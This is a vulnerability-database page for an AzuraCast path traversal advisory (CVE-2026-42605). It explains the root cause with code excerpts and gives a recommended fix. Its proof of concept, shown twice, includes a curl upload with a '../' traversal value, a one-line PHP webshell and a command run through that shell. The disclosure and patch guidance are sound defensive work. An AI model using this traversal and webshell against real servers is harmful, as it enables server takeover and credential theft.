Vulnerability-Lookup

GHSA-VP2F-CQQP-478J

Vulnerability from github – Published: 2026-05-04 21:16 – Updated: 2026-05-13 13:42

Summary

AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

Details

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "file_data=@shell.php"

Where shell.php contains:

<?php system($_GET['cmd']); ?>

Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.

Step 2: Execute commands via the webshell

curl "http://localhost/shell.php?cmd=id"

Expected output:

uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)

Impact

Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
Data Exfiltration: All station data, user credentials, and application secrets become accessible.

Recommended Fix

Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:

// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));

// With:
$currentDir = UploadedFile::filterClientPath(
    Types::string($request->getParam('currentDirectory'))
);

Additionally, harden LocalFilesystem::upload() to normalize paths before use:

// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
    $normalizer = new WhitespacePathNormalizer();
    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../

    $destPath = $this->getLocalPath($to);
    $this->ensureDirectoryExists(
        dirname($destPath),
        $this->visibilityConverter->defaultForDirectories()
    );

    if (!@copy($localPath, $destPath)) {
        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
    }
}

Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:16:51Z",
    "nvd_published_at": "2026-05-09T20:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root.\n\n## Details\n\nIn `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:\n\n```php\n// FlowUploadAction.php:79-84\n$currentDir = Types::string($request-\u003egetParam(\u0027currentDirectory\u0027));\n\n$destPath = $flowResponse-\u003egetClientFullPath();\nif (!empty($currentDir)) {\n    $destPath = $currentDir . \u0027/\u0027 . $destPath;\n}\n```\n\nWhile `$flowResponse-\u003egetClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability.\n\nThis `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`:\n\n```php\n// MediaProcessor.php:75-117\ntry {\n    if (MimeType::isFileProcessable($localPath)) {\n        // ... process media ...\n        return $record;\n    }\n    // ...\n    throw CannotProcessMediaException::forPath($path, \u0027File type cannot be processed.\u0027);\n} catch (CannotProcessMediaException $e) {\n    $this-\u003eunprocessableMediaRepo-\u003esetForPath($storageLocation, $path, $e-\u003egetMessage());\n    throw $e;\n} finally {\n    $fs-\u003euploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes\n}\n```\n\nThe `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates.\n\nFor local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`:\n\n```php\n// LocalFilesystem.php:45-57\npublic function upload(string $localPath, string $to): void\n{\n    $destPath = $this-\u003egetLocalPath($to);  // PathPrefixer::prefixPath() \u2014 simple concatenation\n    $this-\u003eensureDirectoryExists(dirname($destPath), ...);\n    copy($localPath, $destPath);  // OS resolves ../\n}\n```\n\n`getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root.\n\nNote: `RemoteFilesystem::upload()` uses `$this-\u003ewriteStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.\n\nThe route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` \u2014 a permission granted to DJs and station managers, not only admins.\n\n## PoC\n\nAssuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:\n\n**Step 1: Upload a PHP webshell via path traversal**\n\n```bash\ncurl -X POST \"http://localhost/api/station/1/files/upload\" \\\n  -H \"Authorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\" \\\n  -F \"flowTotalChunks=1\" \\\n  -F \"flowChunkNumber=1\" \\\n  -F \"flowCurrentChunkSize=44\" \\\n  -F \"flowTotalSize=44\" \\\n  -F \"flowIdentifier=abc123\" \\\n  -F \"flowFilename=shell.php\" \\\n  -F \"currentDirectory=../../../../../var/azuracast/www/public\" \\\n  -F \"file_data=@shell.php\"\n```\n\nWhere `shell.php` contains:\n```php\n\u003c?php system($_GET[\u0027cmd\u0027]); ?\u003e\n```\n\nExpected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block.\n\n**Step 2: Execute commands via the webshell**\n\n```bash\ncurl \"http://localhost/shell.php?cmd=id\"\n```\n\nExpected output:\n```\nuid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)\n```\n\n## Impact\n\n- **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.\n- **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.\n- **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.\n- **Data Exfiltration**: All station data, user credentials, and application secrets become accessible.\n\n## Recommended Fix\n\nSanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames:\n\n```php\n// FlowUploadAction.php \u2014 replace line 79:\n$currentDir = Types::string($request-\u003egetParam(\u0027currentDirectory\u0027));\n\n// With:\n$currentDir = UploadedFile::filterClientPath(\n    Types::string($request-\u003egetParam(\u0027currentDirectory\u0027))\n);\n```\n\nAdditionally, harden `LocalFilesystem::upload()` to normalize paths before use:\n\n```php\n// LocalFilesystem.php \u2014 add path normalization in upload():\npublic function upload(string $localPath, string $to): void\n{\n    $normalizer = new WhitespacePathNormalizer();\n    $to = $normalizer-\u003enormalizePath($to);  // Throws PathTraversalDetected on ../\n\n    $destPath = $this-\u003egetLocalPath($to);\n    $this-\u003eensureDirectoryExists(\n        dirname($destPath),\n        $this-\u003evisibilityConverter-\u003edefaultForDirectories()\n    );\n\n    if (!@copy($localPath, $destPath)) {\n        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);\n    }\n}\n```\n\nAlso sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.",
  "id": "GHSA-vp2f-cqqp-478j",
  "modified": "2026-05-13T13:42:15Z",
  "published": "2026-05-04T21:16:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload"
}

CVE-2026-42605 (GCVE-0-2026-42605)

Vulnerability from cvelistv5 – Published: 2026-05-09 19:44 – Updated: 2026-05-11 14:52

Title

AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload

Summary

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-11 14:51 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/AzuraCast/AzuraCast/security/a…	x_refsource_CONFIRM
https://github.com/AzuraCast/AzuraCast/commit/18c…	x_refsource_MISC
https://github.com/AzuraCast/AzuraCast/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
AzuraCast	AzuraCast	Affected: < 0.23.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42605",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T14:51:59.547374Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-11T14:52:29.871Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AzuraCast",
          "vendor": "AzuraCast",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-09T19:44:05.893Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
        },
        {
          "name": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"
        },
        {
          "name": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
        }
      ],
      "source": {
        "advisory": "GHSA-vp2f-cqqp-478j",
        "discovery": "UNKNOWN"
      },
      "title": "AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42605",
    "datePublished": "2026-05-09T19:44:05.893Z",
    "dateReserved": "2026-04-29T00:31:15.725Z",
    "dateUpdated": "2026-05-11T14:52:29.871Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-VP2F-CQQP-478J

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-42605 (GCVE-0-2026-42605)

Tags

Sightings

Nomenclature

Related by attack behaviour